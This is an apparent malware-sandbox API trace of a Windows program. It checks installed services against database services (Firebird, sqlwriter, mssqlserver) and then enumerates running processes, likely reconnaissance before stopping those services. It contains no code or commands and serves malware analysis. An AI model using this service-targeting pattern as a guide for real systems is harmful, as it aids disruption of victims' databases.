	[0080.359] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0080.359] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0080.359] lstrlenW (lpString="nsi") returned 3
	[0080.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0080.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0080.360] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0080.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0080.360] lstrlenW (lpString="PcaSvc") returned 6
	[0080.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0080.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0080.360] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0080.360] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0080.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0080.360] lstrlenW (lpString="PlugPlay") returned 8
	[0080.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0080.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0080.360] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0080.360] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0080.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0080.360] lstrlenW (lpString="Power") returned 5
	[0080.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0080.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0080.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0080.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0080.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0080.360] lstrlenW (lpString="ProfSvc") returned 7
	[0080.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0081.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0081.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0081.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0081.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0081.207] lstrlenW (lpString="RpcEptMapper") returned 12
	[0081.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0081.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0081.208] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0081.208] lstrlenW (lpString="RpcSs") returned 5
	[0081.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0081.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0081.208] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0081.208] lstrlenW (lpString="SamSs") returned 5
	[0081.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0081.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0081.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0081.208] lstrlenW (lpString="Schedule") returned 8
	[0081.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0081.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0081.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0081.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0081.208] lstrlenW (lpString="SecurityHealthService") returned 21
	[0081.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0081.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0081.209] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0081.209] lstrlenW (lpString="SENS") returned 4
	[0081.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0081.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0081.209] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0081.209] lstrlenW (lpString="ShellHWDetection") returned 16
	[0081.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0081.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0081.209] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0081.209] lstrlenW (lpString="Spooler") returned 7
	[0081.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0081.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0081.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0081.209] lstrlenW (lpString="StateRepository") returned 15
	[0081.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0081.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0081.209] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0081.209] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0081.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0081.210] lstrlenW (lpString="SysMain") returned 7
	[0081.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0081.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0081.210] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0081.210] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0081.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0081.210] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0081.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0081.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0081.210] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0081.210] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0081.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43587b0 | out: hHeap=0x4f0000) returned 1
	[0081.211] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328
	[0081.219] Process32FirstW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0081.226] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0081.227] lstrlenW (lpString="System") returned 6
	[0081.227] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0081.227] lstrlenW (lpString="smss.exe") returned 8
	[0081.227] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0081.228] lstrlenW (lpString="csrss.exe") returned 9
	[0081.228] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0081.229] lstrlenW (lpString="wininit.exe") returned 11
	[0081.229] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0081.229] lstrlenW (lpString="csrss.exe") returned 9
	[0081.230] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0081.230] lstrlenW (lpString="winlogon.exe") returned 12
	[0081.230] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0081.231] lstrlenW (lpString="services.exe") returned 12
	[0081.231] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0081.232] lstrlenW (lpString="lsass.exe") returned 9
	[0081.232] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.232] lstrlenW (lpString="svchost.exe") returned 11
	[0081.232] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0081.233] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0081.233] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0081.234] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0081.234] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.234] lstrlenW (lpString="svchost.exe") returned 11
	[0081.234] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0081.235] lstrlenW (lpString="dwm.exe") returned 7
	[0081.235] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.239] lstrlenW (lpString="svchost.exe") returned 11
	[0081.239] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.240] lstrlenW (lpString="svchost.exe") returned 11
	[0081.240] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.240] lstrlenW (lpString="svchost.exe") returned 11
	[0081.241] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.241] lstrlenW (lpString="svchost.exe") returned 11
	[0081.241] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.242] lstrlenW (lpString="svchost.exe") returned 11
	[0081.242] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.243] lstrlenW (lpString="svchost.exe") returned 11
	[0081.243] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.243] lstrlenW (lpString="svchost.exe") returned 11
	[0081.243] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.244] lstrlenW (lpString="svchost.exe") returned 11
	[0081.244] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.245] lstrlenW (lpString="svchost.exe") returned 11
	[0081.245] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0081.245] lstrlenW (lpString="spoolsv.exe") returned 11
	[0081.245] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.246] lstrlenW (lpString="svchost.exe") returned 11
	[0081.246] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.247] lstrlenW (lpString="svchost.exe") returned 11
	[0081.247] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0081.247] lstrlenW (lpString="audiodg.exe") returned 11
	[0081.248] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0081.248] lstrlenW (lpString="sihost.exe") returned 10
	[0081.248] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.249] lstrlenW (lpString="svchost.exe") returned 11
	[0081.249] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0081.250] lstrlenW (lpString="taskhostw.exe") returned 13
	[0081.250] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0081.250] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0081.250] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0081.567] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0081.567] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0081.568] lstrlenW (lpString="explorer.exe") returned 12
	[0081.568] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0081.569] lstrlenW (lpString="Memory Compression") returned 18
	[0081.569] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0081.570] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0081.570] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0081.570] lstrlenW (lpString="SearchUI.exe") returned 12
	[0081.570] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0081.571] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0081.571] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0081.572] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0081.572] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0081.572] lstrlenW (lpString="taskhostw.exe") returned 13
	[0081.572] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0081.573] lstrlenW (lpString="UsoClient.exe") returned 13
	[0081.573] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0081.574] lstrlenW (lpString="taskhostw.exe") returned 13
	[0081.574] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0081.574] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0081.574] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0081.575] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0081.575] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0081.576] lstrlenW (lpString="msoia.exe") returned 9
	[0081.576] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0081.576] lstrlenW (lpString="msoia.exe") returned 9
	[0081.576] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0081.577] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0081.577] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0081.578] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0081.578] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0081.578] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0081.579] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0081.581] lstrlenW (lpString="defeatpreston.exe") returned 17
